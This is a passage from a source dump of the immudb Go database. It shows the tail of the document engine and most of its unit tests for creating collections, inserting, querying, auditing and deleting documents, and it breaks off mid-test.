sql.NewDeleteFromStmt(\n\t\ttable.Name(),\n\t\tqueryCondition,\n\t\tgenerateSQLOrderByClauses(table, query.OrderBy),\n\t\tsql.NewInteger(int64(query.Limit)),\n\t)\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{deleteStmt},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\treturn nil\n}\n\n// CopyCatalogToTx copies the current sql catalog to the ongoing transaction.\nfunc (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error {\n\treturn e.sqlEngine.CopyCatalogToTx(ctx, tx)\n}\n\nfunc generateSQLOrderByClauses(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordExps []*sql.OrdExp) {\n\tfor _, col := range orderBy {\n\t\tordExps = append(ordExps, sql.NewOrdCol(table.Name(), col.Field, col.Desc))\n\t}\n\treturn ordExps\n}\n"
  },
  {
    "path": "embedded/document/engine_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"math\"\n\t\"sync\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nvar docPrefix = []byte{3}\n\nfunc makeEngine(t *testing.T) *Engine {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() {\n\t\terr := st.Close()\n\t\tif !t.Failed() {\n\t\t\t// Do not pollute error output if test has already failed\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix))\n\trequire.NoError(t, err)\n\n\terr = engine.CopyCatalogToTx(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\treturn engine\n}\n\nfunc TestEngineWithInvalidOptions(t *testing.T) {\n\t_, err := NewEngine(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = NewEngine(nil, DefaultOptions())\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestCreateCollection(t *testing.T) {\n\tengine := makeEngine(t)\n\n\tt.Run(\"collection creation should fail with invalid collection name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"active\", Type: protomodel.FieldType_BOOLEAN},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t\t{Fields: []string{\"active\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid collection name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"collection\",\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\tcollectionName := \"my-collection\"\n\n\tt.Run(\"collection creation should fail with invalid field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: DocumentBLOBField, Type: protomodel.FieldType_DOUBLE},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{DocumentBLOBField}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\tt.Run(\"collection creation should fail with reserved field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"document\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"document\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"_id\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t},\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid document id field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"invalid.docid\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid document id field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\tDocumentBLOBField,\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid field name\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"1number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"1number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with unexistent field\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrFieldDoesNotExist)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid index\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid index\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"_id\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"collection creation should fail with invalid index\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"_id\", \"collection\"}},\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"doc-id\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country-code\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"address.street\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"active\", Type: protomodel.FieldType_BOOLEAN},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"doc-id\"}, IsUnique: true},\n\t\t\t{Fields: []string{\"number\"}},\n\t\t\t{Fields: []string{\"name\"}},\n\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t{Fields: []string{\"country-code\"}},\n\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t{Fields: []string{\"active\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// creating collection with the same name should throw error\n\terr = engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\tnil,\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrCollectionAlreadyExists)\n\n\t_, err = engine.GetCollection(context.Background(), \"unexistentCollection\")\n\trequire.ErrorIs(t, err, ErrCollectionDoesNotExist)\n\n\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\trequire.NoError(t, err)\n\trequire.Equal(t, collectionName, collection.Name)\n\trequire.Len(t, collection.Fields, 7)\n\trequire.Len(t, collection.Indexes, 7)\n}\n\nfunc TestListCollections(t *testing.T) {\n\tengine := makeEngine(t)\n\n\tcollections := []string{\"mycollection1\", \"mycollection2\", \"mycollection3\"}\n\n\tfor _, collectionName := range collections {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"address.street\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\tcollectionList, err := engine.GetCollections(context.Background())\n\trequire.NoError(t, err)\n\trequire.Equal(t, len(collections), len(collectionList))\n}\n\nfunc TestGetDocument(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"address.street\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"active\", Type: protomodel.FieldType_BOOLEAN},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"address.street\"}},\n\t\t\t{Fields: []string{\"active\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", \"unexistentCollectionName\", &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"country\": structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"pincode\": structpb.NewNumberValue(2),\n\t\t\t\"address\": structpb.NewStructValue(&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"street\": structpb.NewStringValue(\"mainstreet\"),\n\t\t\t\t\t\"number\": structpb.NewNumberValue(124),\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrCollectionDoesNotExist)\n\n\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\tDefaultDocumentIDField: structpb.NewStringValue(\"_docid\"),\n\t\t\t\"country\":              structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"pincode\":              structpb.NewNumberValue(2),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"country\":         structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"pincode\":         structpb.NewNumberValue(2),\n\t\t\tDocumentBLOBField: structpb.NewStructValue(&structpb.Struct{}),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrReservedName)\n\n\t_, docID, err := engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"country\": structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"pincode\": structpb.NewNumberValue(2),\n\t\t\t\"address\": structpb.NewStructValue(&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"street\": structpb.NewStringValue(\"mainstreet\"),\n\t\t\t\t\t\"number\": structpb.NewNumberValue(124),\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tquery := &protomodel.Query{\n\t\tCollectionName: collectionName,\n\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewStringValue(\"wonderland\"),\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewNumberValue(2),\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"address.street\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewStringValue(\"mainstreet\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err = engine.GetDocuments(ctx, nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\treader, err := engine.GetDocuments(ctx, query, 0)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\tdoc, err := reader.Read(ctx)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, docID.EncodeToHexString(), doc.Document.Fields[DefaultDocumentIDField].GetStringValue())\n\n\t_, err = reader.Read(ctx)\n\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\n\t_, err = engine.CountDocuments(ctx, nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tcount, err := engine.CountDocuments(ctx, query, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 1, count)\n}\n\nfunc TestDocumentAudit(t *testing.T) {\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"address.street\", Type: protomodel.FieldType_STRING},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"address.street\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add document to collection\n\ttxID, docID, err := engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"country\": structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"pincode\": structpb.NewNumberValue(2),\n\t\t\t\"address\": structpb.NewStructValue(&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"street\": structpb.NewStringValue(\"mainstreet\"),\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tquery := &protomodel.Query{\n\t\tCollectionName: collectionName,\n\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewStringValue(\"wonderland\"),\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"address.street\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LIKE,\n\t\t\t\t\t\tValue:    structpb.NewStringValue(\"mainstreet\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\trevisions, err := engine.ReplaceDocuments(context.Background(), \"admin\", query, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"_id\":     structpb.NewStringValue(docID.EncodeToHexString()),\n\t\t\t\"pincode\": structpb.NewNumberValue(2),\n\t\t\t\"country\": structpb.NewStringValue(\"wonderland\"),\n\t\t\t\"address\": structpb.NewStructValue(&structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"street\": structpb.NewStringValue(\"notmainstreet\"),\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\trequire.Len(t, revisions, 1)\n\trequire.Equal(t, uint64(2), revisions[0].Revision)\n\n\terr = engine.sqlEngine.GetStore().WaitForIndexingUpto(context.Background(), revisions[0].TransactionId)\n\trequire.NoError(t, err)\n\n\tt.Run(\"get encoded document should pass with valid docID\", func(t *testing.T) {\n\t\t_, field, doc, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, DefaultDocumentIDField, field)\n\t\trequire.Equal(t, txID+1, doc.TxID)\n\t\trequire.Equal(t, uint64(2), doc.Revision)\n\t})\n\n\t// get document audit\n\tres, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, res, 2)\n\n\tfor i, docAudit := range res {\n\t\trequire.Contains(t, docAudit.Document.Fields, DefaultDocumentIDField)\n\t\trequire.Contains(t, docAudit.Document.Fields, \"pincode\")\n\t\trequire.Contains(t, docAudit.Document.Fields, \"country\")\n\t\trequire.Contains(t, docAudit.Document.Fields, \"address\")\n\t\trequire.NotNil(t, docAudit.Document.Fields[\"address\"].GetStructValue())\n\t\trequire.Contains(t, docAudit.Document.Fields[\"address\"].GetStructValue().Fields, \"street\")\n\t\trequire.Equal(t, uint64(i+1), docAudit.Revision)\n\t}\n\n\terr = engine.DeleteDocuments(context.Background(), \"admin\", &protomodel.Query{\n\t\tCollectionName: collectionName,\n\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t{Field: \"_id\", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue(docID.EncodeToHexString())},\n\t\t\t\t}},\n\t\t},\n\t\tLimit: 1,\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"get encoded document should return error with deleted docID\", func(t *testing.T) {\n\t\tdocReader, err := engine.GetDocuments(context.Background(), &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    DefaultDocumentIDField,\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(docID.EncodeToHexString()),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer docReader.Close()\n\n\t\t_, err = docReader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t})\n\n\tres, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, res, 3)\n}\n\nfunc TestQueryDocuments(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"address.street\", Type: protomodel.FieldType_STRING},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"address.street\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add documents to collection\n\tfor i := 1.0; i <= 11; i++ {\n\t\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"pincode\": func() *structpb.Value {\n\t\t\t\t\tif i == 11 {\n\t\t\t\t\t\treturn structpb.NewNullValue()\n\t\t\t\t\t}\n\t\t\t\t\treturn structpb.NewNumberValue(i)\n\t\t\t\t}(),\n\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\"address\": structpb.NewStructValue(&structpb.Struct{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"street\": structpb.NewStringValue(fmt.Sprintf(\"mainstreet-%d\", int(i))),\n\t\t\t\t\t},\n\t\t\t\t}),\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"test query with != operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(2),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NOT_LIKE,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"some_country\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\t_, err = reader.ReadN(ctx, 0)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 10)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, count)\n\t})\n\n\tt.Run(\"test query nested with != operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"address.street\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NE,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"mainstreet-3\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 10)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, count)\n\t})\n\n\tt.Run(\"test query with < operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    